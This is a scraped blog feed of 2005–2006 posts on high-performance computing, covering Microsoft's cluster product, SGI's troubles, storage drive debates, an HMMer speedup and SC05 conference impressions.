I’ve worked in both Windows and UNIX environments professionally, but I’ve never done any real work with Linux.?? I appreciate learning more, and your information is helpful. There’s no doubt that you are 100% correct about one thing:?? the market will decide. https://blog.scalability.org/2006/06/and-now-for-something-completely-different/ Fri, 23 Jun 2006 20:56:04 +0000 https://blog.scalability.org/2006/06/and-now-for-something-completely-different/ Well, I wanted to get back to our core for a bit. The Michigan Growth Capital Symposium has been done for a month. My great fear in presenting there was that I wouldn’t be speaking to money people, but would in fact be speaking to business consultants, advisors, CEO/CFO/etc for hire. Sadly, most of my audience appeared to be that. Some were PR folks, some were nice to speak with, some were, well … A few VCs and fewer money people. https://blog.scalability.org/2006/06/more-about-the-tactics-commoditized-hpc-coming-from-an-mcsebest-buy-near-you/ Fri, 23 Jun 2006 19:55:46 +0000 https://blog.scalability.org/2006/06/more-about-the-tactics-commoditized-hpc-coming-from-an-mcsebest-buy-near-you/ Microsoft is pushing its resellers to enter this market. From here Uh huh. Remember those paper MCSEs? Clusters are far more complex to get right than a basic PC network. Diagnosing and solving performance problems on tightly coupled machines is non-trivial. This is going to be … interesting. https://blog.scalability.org/2006/06/tactics-versus-strategy-for-the-hpc-market/ Fri, 23 Jun 2006 02:47:09 +0000 https://blog.scalability.org/2006/06/tactics-versus-strategy-for-the-hpc-market/ I have given the Microsoft entry into cluster computing a great deal of thought. I want to see if this is a force to be reckoned with, or something else. Will they matter in the long term? A tactic is something you execute to further a long term goal. You may change tactics to achieve your goals. You may alter your tactical foci to adjust to market conditions. Individual tactics are not the important element, how they advance you towards your goals are. https://blog.scalability.org/2006/06/how-the-microsoft-wcc-could-be-good-or-bad/ Mon, 12 Jun 2006 04:21:39 +0000 https://blog.scalability.org/2006/06/how-the-microsoft-wcc-could-be-good-or-bad/ While thinking this through, there are a number of serious issues with WCC I can spot. I won’t go through them here, I want to mull over them for a while. MPI. Supporting a new interconnect is hard. You have to relink your application. This is true on all platforms. Some such as the Scali system attempt to make this easy by separating layers, and allowing you to compile your app and select the fabric at runtime. https://blog.scalability.org/2006/06/one-of-those-yargh-moments/ Fri, 09 Jun 2006 17:01:19 +0000 https://blog.scalability.org/2006/06/one-of-those-yargh-moments/ Imagine you have a great idea. You think about it, design it, test it, try it. You approach customers with it and they are very interested. You do the market research, find that the market is growing like banshees, build a busines plan, do all the footwork. Then you go look for capital to make it happen. So here you are with your great idea, and you see lots of other people starting to have similar inklings. https://blog.scalability.org/2006/06/a-cluster-system-from-microsoft/ Fri, 09 Jun 2006 16:08:08 +0000 https://blog.scalability.org/2006/06/a-cluster-system-from-microsoft/ I had a conversation recently with two nice people from Microsoft about their (now released) WCC product. One of the people, Patrick wrote a comment (for some reason wordpress is editing it, so go to this URL: http://scalability.org/?p=59#comment-40 ) here that is worth looking at. I have been skeptical of the WCC product in that I didn’t understand what Microsoft’s vision was for this (no guffaws here), and thought that I might be misinterpreting what I didn’t hear. https://blog.scalability.org/2006/05/an-interesting-view-sgi-with-some-misconceptions/ Mon, 29 May 2006 16:43:05 +0000 https://blog.scalability.org/2006/05/an-interesting-view-sgi-with-some-misconceptions/ In this post, the author indicates that SGI committed suicide, or at least attempted it twice. Their rationale was that the NT porting bit was the first phase, and that the Itanium choice was the second. Further they posit that there is no value left in the company. I disagree with the first and third points. SGI acquired Cray during the time when we were busy taking away their business. This was IMO, one of the first fatal mistakes. https://blog.scalability.org/2006/05/the-art-of-benchmarketing-or-how-to-not-represent-reality-in-the-most-positive-manner/ Sun, 28 May 2006 01:54:36 +0000 https://blog.scalability.org/2006/05/the-art-of-benchmarketing-or-how-to-not-represent-reality-in-the-most-positive-manner/ All of us are guilty at some point in time or the other, of embellishing some attribute about something we talk about. We like our choice to be the “winner”, whatever that means. This “crime” takes many forms. What we see quite often is omission, either purposeful or inadvertant which paints a different picture than “reality” would indicate. We also see specious comparisons, and poor analytics to back up the conclusions. https://blog.scalability.org/2006/05/a-need-for-sse-speed/ Sun, 21 May 2006 06:39:27 +0000 https://blog.scalability.org/2006/05/a-need-for-sse-speed/ Simple problem. You have two “vectors” of 32 bit signed integers, and you want to do the vector equivalent of vector_a = max_element_by_element(vector_a, vector_b); Can you do this with SSE2? We need this. Badly. You can always argue that you can use code like this for MAX (or MIN): MAX(a,b) = (a+b + abs(b-a)) » 1; MIN(a,b) = (a+b - abs(b-a)) » 1; Of course this is correct, it can be done. https://blog.scalability.org/2006/05/update-on-blog-changes/ Sat, 20 May 2006 19:32:39 +0000 https://blog.scalability.org/2006/05/update-on-blog-changes/ First we have updated Wordpress. Took a while but it was worth it. Second we are getting far more spam than usual, so I have disabled pingback/trackback. I am sorry about this, please email me if this causes you problems. Update: We re-enabled pingback/trackback and implemented some anti-spam technology. Lets see if it works. https://blog.scalability.org/2006/05/our-scalable-hmmer-paper/ Fri, 19 May 2006 19:51:22 +0000 https://blog.scalability.org/2006/05/our-scalable-hmmer-paper/ Is available if you would like some good reading from IEEE. For those who don’t know, we reworked the p7Viterbi function in the HMMer code, and created a faster version of HMMer in the process. Our measurements put it anywhere from 1.6-2.5x faster than the downloadable binaries from Professor Eddy’s site. Since HMMer is GPLed, our patch and binaries are available under that license from our download site. If you wish to distribute binaries that are not covered by GPL or are unwilling to use the GPL for your product and want to distribute this code, please contact us. https://blog.scalability.org/2006/05/looks-out-the-window-checking-for-porcine-shapes-aloft/ Thu, 18 May 2006 23:22:04 +0000 https://blog.scalability.org/2006/05/looks-out-the-window-checking-for-porcine-shapes-aloft/ Dell it seems is about to enter the market with some Opteron units. I don’t see any high flying Porcine, and while it is cold today in Michigan, some town here has not frozen over. So what’s going on? Seems like the simple economics of the market are testing the loyalty principal of manufacturers. You stick with your suppliers as long as possible, as good relationships can often help smooth over rough patches. https://blog.scalability.org/2006/05/whither-sgi/ Sat, 13 May 2006 14:02:15 +0000 https://blog.scalability.org/2006/05/whither-sgi/ Obviously SGI has existential challenges ahead. This means something quite simple. No cow is sacred. No ego’s can get in the way of doing the right thing by the shareholders. I will be frank. This is about 9 years too late. First, will SGI recover? Possibly, though I am not going to bet on it. The challenges are not just internal, their competitors have wasted no time in making use of their situation. https://blog.scalability.org/2006/05/something-cluster-like-this-way-comes/ Thu, 11 May 2006 05:04:42 +0000 https://blog.scalability.org/2006/05/something-cluster-like-this-way-comes/ It appears that Microsoft is about ready to release CCS. This might be interesting, depending upon what was done, and how it all works. Some things to note. It includes a job scheduler. Built into the OS. This is either a really good thing, or a really bad thing. I can see arguments both ways. It includes bits that Linux has had for a while. Remotable/scriptable installation. Multiple security models. Some thoughts. https://blog.scalability.org/2006/05/signifying-nothing/ Mon, 08 May 2006 20:25:29 +0000 https://blog.scalability.org/2006/05/signifying-nothing/ I note today that SGI has filed for Chapter 11 protection from its creditors. Whether or not they emerge from bankruptcy is an open question, and one we will surely learn over the next several months. One could talk about everything that led them to where they are now, and no doubt you will see such analyses in the press. Without reading them, I can’t tell you how close to the mark they are. https://blog.scalability.org/2006/05/interesting-numa-issues-in-current-suse-kernel/ Mon, 08 May 2006 02:54:37 +0000 https://blog.scalability.org/2006/05/interesting-numa-issues-in-current-suse-kernel/ One of our development systems is a dual socket system with 2 dual core Opteron 275 chips. 4 GB ram, nice disk config, and a quadro fx/1400. This is a good machine t work on. I had set it up with SuSE 9.x, and had left it at 9.3 for quite a while. Recently we upgraded it to SuSE 10.0 Pro. More modern kernel, somewhat updated apps. I thought it would be nice to stay somewhat current. https://blog.scalability.org/2006/04/positives-and-negatives/ Thu, 27 Apr 2006 13:32:11 +0000 https://blog.scalability.org/2006/04/positives-and-negatives/ Positive news: My company has been selected to present at the Michigan GCS. This is in line with what we submitted to the 21st century fund a few months ago. Also, we received notes that 2 of our applications had passed compliance screening for this. The end game of this is to ramp up an idea/project/product we have been thinking of and working on for the past several years. The market looks ready for it. https://blog.scalability.org/2006/04/scsi-vs-fc-vs-sata/ Wed, 26 Apr 2006 12:34:27 +0000 https://blog.scalability.org/2006/04/scsi-vs-fc-vs-sata/ I have heard this argument come up again several times recently. Lots of folks out there from the enterprise storage realm still love their FC drives. The SCSI crowd like their units. Both handily disparage SATA as being inferior, poorly performing, or with higher failure rates. This is an interesting point. As far as I am aware, all the drives come physically off the same manufacturing production line. The only significant difference between the units that I am aware of (modulo newer motors on newer units) are the electronics that connect to the bus. https://blog.scalability.org/2006/04/in-the-limit-as-ncores-infinity/ Fri, 14 Apr 2006 04:28:54 +0000 https://blog.scalability.org/2006/04/in-the-limit-as-ncores-infinity/ So way back in the good old days, programming a single core CPU in a high performance manner was a challenge. Compilers promised much and delivered small fractions of maximum theoretical performance. To get nearly optimal performance, you had to hand code assembly language routines. You would never be able to achieve 100% utilization of the processor capabilities, but you might be able to sufficiently balance memory operations with floating point and integer operations so that you were utilizing a sizeable fraction of the chips subsystem capabilities. https://blog.scalability.org/2006/04/medc-update/ Thu, 13 Apr 2006 22:20:15 +0000 https://blog.scalability.org/2006/04/medc-update/ According to the MEDC site, 505 applications were turned in for mostly commercial efforts. 505… The mind boggles. Of those 505, 139 are commercialization. Another smattering are also commercial, though hidden. Call that 150 commercial ones. In all the previous competitions; the MLSC (Michigan Life Science Corridor), the MTTC (Michigan Tri Technology Corridor), the commercial side was given less than a serious consideration. A token gesture might be a better way to describe it. https://blog.scalability.org/2006/04/to-opensolaris-or-not-to-opensolaris-that-is-the-question/ Mon, 10 Apr 2006 16:26:15 +0000 https://blog.scalability.org/2006/04/to-opensolaris-or-not-to-opensolaris-that-is-the-question/ Platform consolidation is in full swing in HPC, has been for a while. This is an economic reality. The platforms we are being told by ISVs, that will be supported into the future are Windows and Linux. We don’t see much new AIX support. It is simply not a volume platform. Nor do we see much new HP/UX support. It is also not a volume platform. Similarly, we don’t see much new Solaris 10 support. https://blog.scalability.org/2006/03/what-oses-will-run-on-the-supercomputers-of-the-future/ Wed, 29 Mar 2006 03:31:32 +0000 https://blog.scalability.org/2006/03/what-oses-will-run-on-the-supercomputers-of-the-future/ This is not a simple question to answer. It likely will change a few times over the course of time. But we can be reasonably sure that their won’t be widespread installations of Irix, AIX, HP/UX and others of their ilk. There are many reasons for this, technological, legal, business, marketing, and so forth. Looking at the top 500 list, it isn’t a high risk bet that Linux will remain in some form or the other. https://blog.scalability.org/2006/03/hpc-in-the-critical-path/ Tue, 28 Mar 2006 04:07:46 +0000 https://blog.scalability.org/2006/03/hpc-in-the-critical-path/ Is high performance computing a critical path technology? Is it a technology that you cannot do without? This is a question some potential partners were discussing this evening. Very interesting question. If HPC is not critical, then demand for it should be quite moderate. If it is not critical, then the market would have basically replacement level growth rates. If end users did not see a value in HPC, they wouldn’t use it, as their time would be spent elsewhere. https://blog.scalability.org/2006/03/the-coming-of-the-grid-the-hopefully-hype-free-or-hype-reduced-model-that-is/ Tue, 21 Mar 2006 21:42:12 +0000 https://blog.scalability.org/2006/03/the-coming-of-the-grid-the-hopefully-hype-free-or-hype-reduced-model-that-is/ Someone gets it. I can’t say much more now, or even point to who gets it. Then again, with all companies and decisions comes baggage. While they get the idea, there is this little manner of the baggage they attached to their grid to fix another problem. Customers bringing application code over to their grid, are going to be in for a surprise. Sometimes your baggage has been creatively destroyed by other newer baggage, and you have to live with that. https://blog.scalability.org/2006/03/are-we-back-to-bubble-nomics-again/ Mon, 20 Mar 2006 13:42:42 +0000 https://blog.scalability.org/2006/03/are-we-back-to-bubble-nomics-again/ I know, its dangerous to Post Before Coffee (PBC) in the morning. It increases the possibility of missing critical features of an argument, and there tends to be more bloviation, stream of approximately conciousness, and so forth. I read an article this morning from the Wall Street Journal’s WSJ.com site that evoked many emotions and thoughts. This article was entitled “Silicon Valley Start-Ups See Cash Everywhere” with several basic points being made: https://blog.scalability.org/2006/03/michigans-21st-century-jobs-fund/ Thu, 16 Mar 2006 14:46:49 +0000 https://blog.scalability.org/2006/03/michigans-21st-century-jobs-fund/ Competition is in full swing. This is the first year it is (mostly) well designed to make a difference to Michigan. Kudos for the folks that resisted the pressure to make this identical to the MTTC/MLSC of prior years. You can still see echos of that pressure, but I expect this to be a very exciting year with interesting proposals that will have a net positive benefit for Michigan if some are funded. https://blog.scalability.org/2006/03/it-is-a-tale-told-by-an-idiot-full-of-sound-and-fury-signifying-nothing/ Wed, 08 Mar 2006 06:13:17 +0000 https://blog.scalability.org/2006/03/it-is-a-tale-told-by-an-idiot-full-of-sound-and-fury-signifying-nothing/ SGI announced another RIF. Thats more good people tossed onto the street. Thats good technology about to be or already dumped. SGI and I go way back, to 1993 when I started running molecular dynamics simulations on SGI machines. These machines were fast (those R3000’s were like butta …). I liked them so much, and liked playing with them so much that I joined the company straight out of graduate school. https://blog.scalability.org/2006/03/significant-growth-in-hpc-markets/ Tue, 07 Mar 2006 14:26:16 +0000 https://blog.scalability.org/2006/03/significant-growth-in-hpc-markets/ IDC is out with its estimated numbers, based upon 3 quarters of data, and one quarter of estimated data. The summary is amazing. 20+% CAGR for this market. It is about 9B$ (yes, that is a B meaning billion or 10^9, which is 10**9 for old timers). It is growing about 1.8B$/year at the present. Clusters are growing 60-90% per year. And so on. This is tremendously exciting. HPC demand is huge and getting larger. https://blog.scalability.org/2006/02/amusing/ Tue, 28 Feb 2006 14:02:30 +0000 https://blog.scalability.org/2006/02/amusing/ The IBM folks have turned the Blue Gene into what they claim is the worlds fastest blast engine. Interesting read. They use our A. thaliana data in the Bioinformatics Benchmark System v3 (BBS) to perform their measurement, as well as data from Aaron Darling for mpiBLAST. Our data had been in a mislabeled file for years, and I never took the time to rename the S. lycopersicum for the original Arabidopsis. https://blog.scalability.org/2006/02/thoughts-on-microsoft-cluster-offerings/ Thu, 23 Feb 2006 15:08:25 +0000 https://blog.scalability.org/2006/02/thoughts-on-microsoft-cluster-offerings/ I haven’t seen it yet. Eventually when I get more time, I want play with it, but from what I have heard it is not ready for prime time yet. That said, I would like note that the Cygwin tools are really good. I just built LAM-7.1.1 using them. Tried it out and it works quite nicely (at least on this box). A major coup for Microsoft would be if they tossed their existing SFU bit and used Cygwin. https://blog.scalability.org/2006/02/the-difference-between-an-architecture-and-a-product-part-2/ Sun, 19 Feb 2006 04:43:26 +0000 https://blog.scalability.org/2006/02/the-difference-between-an-architecture-and-a-product-part-2/ More reflections on the differences between architectures and products. Beowulf and most cluster systems are architectures to be built. Many vendors attempt to freeze the architecture, or restrict variations of it in order to build a polished product. Polished products are finished. They have a finished feel to them. Someone went through and actually made stuff work, identified broken stuff, and had someone fix them. Well, not all clusters are like this, some feel like stacked boxes that the cluster vendor could get at a low price, as the cluster vendor knows how to spell HPC, but not do it. https://blog.scalability.org/2006/02/of-business-models-and-business-reality/ Sun, 19 Feb 2006 04:40:16 +0000 https://blog.scalability.org/2006/02/of-business-models-and-business-reality/ High performance computing is a tough business. Customers always want more performance. Few want to pay more for this performance. Many vendors want to serve this market but precious few are pushing more than boxes. Its easy to push boxes, and the really low end vendors, likely having been burned as suppliers of low end windows machines, decided to work on clusters. Occasionally there are some good ideas. Some really good ones. https://blog.scalability.org/2006/01/the-marketing-of-computer-languages/ Wed, 11 Jan 2006 19:53:16 +0000 https://blog.scalability.org/2006/01/the-marketing-of-computer-languages/ I have noticed a tendency for technologists, programmers, and others to fall in love with their projects, their tools, … . Why this happens, I am not sure. I don’t love my hammer, my circular saw, my computers, the languages I use. They are tools. They are the means to a goal. Sure, I like some tools more than others, but I am also not going to waste my time misusing a tool for a purpose ill suited for it. https://blog.scalability.org/2006/01/is-a-cluster-a-toaster/ Thu, 05 Jan 2006 02:34:29 +0000 https://blog.scalability.org/2006/01/is-a-cluster-a-toaster/ At the excellent Cluster Monkey Doug Eadline mused on a number of topics of interest, specifically on why Cluster HPC is hard. There were some excellent points made. The OSC is working on an initiative to increase access to high performance computing resources for end users. Their effort is in part by making access to HPC hardware easier, and in part by helping people (users and commercial entities) make better use of computational gear. https://blog.scalability.org/2006/01/the-difference-between-an-architecture-and-a-product/ Wed, 04 Jan 2006 08:32:34 +0000 https://blog.scalability.org/2006/01/the-difference-between-an-architecture-and-a-product/ This will be a short comment on something I have noticed with engineering led startups. The hardware oriented ones tend to have really neat architectures. Everything is technically beautiful. One problem though. They are not products. A product is finished. It has all the features one might expect out of a product. Yeah, this is a tautology. You don’t buy a car with the engine inserted, but no fuel lines hooked up, no instrumentation attached. https://blog.scalability.org/2006/01/broken-makefiles/ Wed, 04 Jan 2006 08:23:06 +0000 https://blog.scalability.org/2006/01/broken-makefiles/ I remain consistently amused by the makefiles we see. Some of them are broken beyond repair. If I told you where I found them, and the profile of the projects that they were in, you would have a hard time stopping laughing. No, I am not talking about the auto-generated monstrosities from the GNU auto-tools. I am talking about hand written, and for the most part, borked beyond simple repair. Since I get to teach a nice class on HPC applications shortly, I plan to cover the do’s and don’ts of makefiles. https://blog.scalability.org/2005/12/hpc-sales-and-technical-position-open/ Sat, 10 Dec 2005 07:32:23 +0000 https://blog.scalability.org/2005/12/hpc-sales-and-technical-position-open/ Please see [http://www.scalableinformatics.com/metadot/index.pl?iid=2179&#jobsfor more details. https://blog.scalability.org/2005/12/sc05-wrap-up/ Sat, 03 Dec 2005 05:06:45 +0000 https://blog.scalability.org/2005/12/sc05-wrap-up/ This took me a while to post in part due to heavy year end load, but also, that I wanted to think through what I did see, and what I didn’t. It is important in many processes to take a moment, step back from where you are, and try to assemble the bigger picture of the situation. This introspection can yield invaluable insights. Failing to do it can blind you to what was there, with you focusing mostly on the minutae. https://blog.scalability.org/2005/11/till-we-meet-again-in-orlando/ Thu, 17 Nov 2005 21:48:21 +0000 https://blog.scalability.org/2005/11/till-we-meet-again-in-orlando/ Well, this is the day we had to leave. We saw many things, met many people, had many good conversations. Oddly enough we did not have time to attend talks. I sat in on one BOF. Here is what I observed. IBM is pushing Blue Gene everywhere. In the sessions I did see or hear about from others, it appears that IBM operatives/employees were trying to make a case, even when told that infinite speed wasn’t the issue. https://blog.scalability.org/2005/11/sc05-sessions/ Wed, 16 Nov 2005 15:07:45 +0000 https://blog.scalability.org/2005/11/sc05-sessions/ We had wanted to see several of the sessions including the ClawHmmer, and various others. I spent most of my time talking with various vendors and others on the show floor. ClawHmmer is interesting as it is a GPU version of HMMer, and on good GPU hardware, you can get quite a performance boost on HMMer. The only problem we see is that most servers don’t have good hardware accelerated GPUs. https://blog.scalability.org/2005/11/sc05-full-day-1-tuesday/ Wed, 16 Nov 2005 06:36:38 +0000 https://blog.scalability.org/2005/11/sc05-full-day-1-tuesday/ This morning, SC'05 featured a keynote address from Bill Gates, CTO and founder of Microsoft. Prior to the keynote, we watched a video loop, and we heard from the heads of the ACM, and the president-elect of the IEEE, as well as the chairperson of the board for SC'06 in Tampa Florida. The president-elect gave a good and short talk on a number of things, including the need to get more women and minorities into the profession. https://blog.scalability.org/2005/11/sc05-begins/ Tue, 15 Nov 2005 08:16:34 +0000 https://blog.scalability.org/2005/11/sc05-begins/ At 7pm PST the network was officially lit with the_ traditional cutting of the optical fibre_, then a ribbon was cut with a large pair wooden handled scissors. Long lines were formed, and much food was consumed. The best thing I saw at the show today is the LightSpace Technology display. The molecular display demo is great, as was the visual human work. The way it works is a very bright digital light pipe technology coupled with diffusive planes for drawing images. https://blog.scalability.org/2005/11/setup-day-batch-1/ Mon, 14 Nov 2005 21:11:35 +0000 https://blog.scalability.org/2005/11/setup-day-batch-1/ The first batch of setup day photos are up from SC'05. I am on the show floor looking about, talking with people thanks to the Cluster Monkies, andLinux Magazine. Looks to be an interesting show. Please be gentle on my picture taking skills, I am still getting used to this camera. Yes, I did delete pictures of the carpet … I’ll write some comments on what I saw a little later. https://blog.scalability.org/2005/11/sc05-t-1-and-counting/ Mon, 14 Nov 2005 16:05:59 +0000 https://blog.scalability.org/2005/11/sc05-t-1-and-counting/ The Sun HPCC group had some nice talks from folks doing real science. Specifically I did get to see a talk on path-integral formalism of molecular dynamics, another on using support vector machines for feature identification in patients with Glaucoma. Also saw quite a bit of stuff we cannot talk about, but it was quite interesting. All in all, a fun time was had by all, but we cannot post pictures as most of the bits were under non-disclosure. https://blog.scalability.org/2005/11/conference-t-2-days-and-counting/ Sun, 13 Nov 2005 14:29:02 +0000 https://blog.scalability.org/2005/11/conference-t-2-days-and-counting/ I am here at the Sun HPCC meeting, as they had asked us for a talk on Opteron performance on single and dual core processors for life and chemical science applications. At this talk we gave a peek at our recent HMMer and NCBI BLAST performance among other things. For HMMer, we believe we currently have the fastest build on Opteron. In some of our benchmark tests, we are very close to a factor of 2 faster than the same machine running the canonical version. https://blog.scalability.org/2005/11/planes-and-automobiles-no-trains/ Sat, 12 Nov 2005 08:08:28 +0000 https://blog.scalability.org/2005/11/planes-and-automobiles-no-trains/ Got here… finally. Seattle is largely sold out of hotel rooms, so I had to get rooms near the airport. Only a short drive to the conference. Could be worse. Weather is cool (a.k.a freezing for those from warmer climates) and wet. The car rental person started telling me all about how many times his car was smashed into, right after I declined the extra coverage… Hmmm…. Maybe that old axiom is in place, the selling starts when the customer says “no”. https://blog.scalability.org/2005/11/questions-to-answer-at-sc05/ Fri, 11 Nov 2005 14:51:28 +0000 https://blog.scalability.org/2005/11/questions-to-answer-at-sc05/ So there should be lots of folks at SC05 to answer questions about technology, products, performance, TCO, and most anything else connected with supercomputing you could want to ask. Some questions I want to ask are from the good folks at Microsoft (Bill Gates is giving the opening keynote), what specifically their HPC initiative is supposed to give us that we don’t already have? This is not an OS war, or OSS zealotry, just a simple question as to what their offering will bring to the table. https://blog.scalability.org/2005/11/anticipation/ Thu, 10 Nov 2005 13:48:52 +0000 https://blog.scalability.org/2005/11/anticipation/ Much has changed in a year. Last year, a number of companies such as Orion were on the rise and the darlings of the event. Companies such as my former employer SGI had a strong presence, reasonable revenues, and there were thoughts of a possible turn around. Startups that garnered far less attention than they deserved, such as Ammasso were there in a limited fashion. Other startups (mercifully unamed) that had something of a flash-in-the-pan quality to them seemed abundant. https://blog.scalability.org/2005/11/blogging-sc05/ Wed, 09 Nov 2005 16:07:31 +0000 https://blog.scalability.org/2005/11/blogging-sc05/ Please look for us at SC05. I’ll be there with a camera and we have a nice site ready to display photos. Some changes from last year. Orion is not in ascendance. Ammasso is out of the game. The buzz is all around FPGAs (just wait until someone tries to port “hello world” .c to it, but thats another matter). Intel has an x86_64 chip line out. Go figure. https://blog.scalability.org/2005/10/venture-capital-and-high-performance-computing/ Wed, 12 Oct 2005 14:30:38 +0000 https://blog.scalability.org/2005/10/venture-capital-and-high-performance-computing/ Its a very big HPC world. According to IDC and others, its a $7B+/year world, growing at a nice healthy clip, 10-20% CAGR, again, depending upon which market research report you read. Seems like a hot market… right? Well … sort of. The largest growth (>15% CAGR) is in the 10-25k$US region (small computing engines), with the higher end stuff coming in at a somewhat anemic (~5% CAGR) rate. Still, a 5% growth rate in a market this large is nothing to sneeze at.